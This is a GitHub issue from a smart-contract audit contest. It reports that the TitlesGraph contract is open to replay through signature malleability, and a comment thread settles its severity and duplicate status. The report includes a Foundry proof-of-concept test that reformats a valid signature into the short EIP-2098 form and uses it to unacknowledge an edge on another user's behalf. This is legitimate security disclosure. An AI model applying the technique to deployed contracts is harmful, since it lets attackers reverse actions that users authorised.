Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ComposableSecurity - Lack of protection from signature malleability #429

Closed
sherlock-admin4 opened this issue Apr 26, 2024 · 5 comments
Closed
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Escalation Resolved This issue's escalations have been approved/rejected Medium A valid Medium severity issue Reward A payout will be made for this issue

Comments

@sherlock-admin4
Copy link
Contributor

sherlock-admin4 commented Apr 26, 2024

ComposableSecurity

high

Lack of protection from signature malleability

Summary

The TitlesGraph contract is incorrectly protected from signature replay-attack via signature malleability because it uses signature as the key in isUsed mapping and SignatureCheckerLib library from solady repository.

Vulnerability Detail

The TitlesGraph contract uses a mapping isUsed to protect from replay attack on functions that accept signature parameter, which are: acknowledgeEdge(bytes32 edgeId_, bytes calldata data_, bytes calldata signature_) and unacknowledgeEdge(bytes32 edgeId_, bytes calldata data_, bytes calldata signature_).

The problem arises from two different issues, that must occur simultaneously.

First issue is that the signature is used as the mapping key (instead of the digest, potentially with some nonce) what could make it vulnerable to replay attack due to signature malleability.

That would however not be possible without the second issue, which is using the SignatureCheckerLib library from solady repository without detecting signature malleability. The library does not check for signature malleability itself, as stated in docs:
https://github.com/Vectorized/solady/blob/91d5f64b39a4d20a3ce1b5e985103b8ea4dc1cfc/src/utils/SignatureCheckerLib.sol#L19-L23

As the result, anyone can take any signature from past transactions of a particular user, generate it's different format (without any external information) and execute the opposite operation on behalf of the user.

PoC

Notice I had to add solidity-bytes-utils package and I made the _hashTypedData function public to make it easier to get the correct digest.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";

import {IEdgeManager} from "src/interfaces/IEdgeManager.sol";
import {TitlesGraph} from "src/graph/TitlesGraph.sol";
import {NodeType, Edge, Node, Target, Unauthorized} from "src/shared/Common.sol";

import {BytesLib} from "lib/solidity-bytes-utils/contracts/BytesLib.sol";

contract TitlesGraphTest is Test {
    using BytesLib for bytes;

    TitlesGraph public titlesGraph;

    function setUp() public {
        titlesGraph = new TitlesGraph(address(this), address(this));
    }

    function test_acknowledgeEdge_withMalleableSignature() public {
        
        (address alice, uint256 alicePk) = makeAddrAndKey("alice");
        (address bob, uint256 bobPk) = makeAddrAndKey("bob");

        Edge memory edge = Edge({
            from: Node({
                nodeType: NodeType.COLLECTION_ERC1155,
                entity: Target({target: address(alice), chainId: block.chainid}),
                creator: Target({target: address(2), chainId: block.chainid}),
                data: ""
            }),
            to: Node({
                nodeType: NodeType.TOKEN_ERC1155,
                entity: Target({target: address(3), chainId: block.chainid}),
                creator: Target({target: address(bob), chainId: block.chainid}),
                data: abi.encode(42)
            }),
            acknowledged: true,
            data: ""
        });

        // Create the edge
        vm.prank(alice);
        titlesGraph.createEdge(edge.from, edge.to, "");
        bytes32 edgeId = titlesGraph.getEdgeId(edge);

        // CAUTION: I made _hashTypedData public to easily get the digest.
        bytes32 digest = titlesGraph._hashTypedData(
            keccak256(
                abi.encode(
                    keccak256("Ack(bytes32 edgeId,bytes data)"), 
                    edgeId, 
                    new bytes(0)
                )
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(bobPk, digest);
        bytes memory signature = abi.encodePacked(r, s, v);

        // A valid signature will acknowledge the edge and emit an event
        vm.expectEmit(true, true, true, true);
        emit IEdgeManager.EdgeAcknowledged(edge, address(this), "");
        titlesGraph.acknowledgeEdge(edgeId, new bytes(0), signature);

        // Unacknowledging with the same signature will revert
        vm.expectRevert(Unauthorized.selector);
        titlesGraph.unacknowledgeEdge(edgeId, new bytes(0), signature);

        bytes memory signature2 = to2098Format(signature);
        // Unacknowledging with modified signature will work
        edge.acknowledged = false;
        vm.expectEmit(true, true, true, true);
        emit IEdgeManager.EdgeUnacknowledged(edge, address(this), "");
        titlesGraph.unacknowledgeEdge(edgeId, new bytes(0), signature2);

    }

    /**
     * @dev Error that occurs when the signature length is invalid.
     * @param emitter The contract that emits the error.
     */
    error InvalidSignatureLength(address emitter);

    /**
     * @dev Error that occurs when the signature value `s` is invalid.
     * @param emitter The contract that emits the error.
     */
    error InvalidSignatureSValue(address emitter);

    function to2098Format(bytes memory signature) internal view returns (bytes memory) {
        if (signature.length != 65) revert InvalidSignatureLength(address(this));
        if (uint8(signature[32]) >> 7 == 1) revert InvalidSignatureSValue(address(this));
        bytes memory short = signature.slice(0, 64);
        uint8 parityBit = uint8(short[32]) | ((uint8(signature[64]) % 27) << 7);
        short[32] = bytes1(parityBit);
        return short;
    }
}

Impact

Anyone is able to acknowledge or unacknowledge the edge being acknowledged by the creator of the to node (using signature).

Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/graph/TitlesGraph.sol#L40-L50

Tool used

Manual Review

Recommendation

Use digest (potentially with additional nonce if the same function parameters can be reused) instead of the signature as the mapping key.

Note that the additional nonce, if you plan to use it, must be included in the signed digest.

Duplicate of #279

@github-actions github-actions bot closed this as completed May 6, 2024
@github-actions github-actions bot added Medium A valid Medium severity issue Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label labels May 6, 2024
@sherlock-admin2 sherlock-admin2 changed the title Sleepy Cider Cormorant - Lack of protection from signature malleability ComposableSecurity - Lack of protection from signature malleability May 12, 2024
@sherlock-admin2 sherlock-admin2 added the Reward A payout will be made for this issue label May 12, 2024
@ComposableSecurityTeam
Copy link

Escalate

This is not duplicate of #273.

The attack vector, affected code snippet, recommendation and impact are different. This issue shows a signature malleability problem, not the lack of action parameter in the digest.

This issue, together with #10, #53, #130, #279, #155, #168, #178 and #429, should not be duplicate of #273, but a separate one.

@sherlock-admin3
Copy link
Contributor

Escalate

This is not duplicate of #273.

The attack vector, affected code snippet, recommendation and impact are different. This issue shows a signature malleability problem, not the lack of action parameter in the digest.

This issue, together with #10, #53, #130, #279, #155, #168, #178 and #429, should not be duplicate of #273, but a separate one.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

@sherlock-admin4 sherlock-admin4 added the Escalated This issue contains a pending escalation label May 13, 2024
@WangSecurity
Copy link
Collaborator

Agree with the escalation, planning to accept and duplicate with #279

@Evert0x
Copy link

Evert0x commented May 17, 2024

Result:
Medium
Duplicate of #279

@sherlock-admin2
Copy link

sherlock-admin2 commented May 17, 2024

Escalations have been resolved successfully!

Escalation status:

@sherlock-admin3 sherlock-admin3 removed the Escalated This issue contains a pending escalation label May 17, 2024
@sherlock-admin4 sherlock-admin4 added the Escalation Resolved This issue's escalations have been approved/rejected label May 17, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Duplicate A valid issue that is a duplicate of an issue with `Has Duplicates` label Escalation Resolved This issue's escalations have been approved/rejected Medium A valid Medium severity issue Reward A payout will be made for this issue
Projects
None yet
Development

No branches or pull requests

6 participants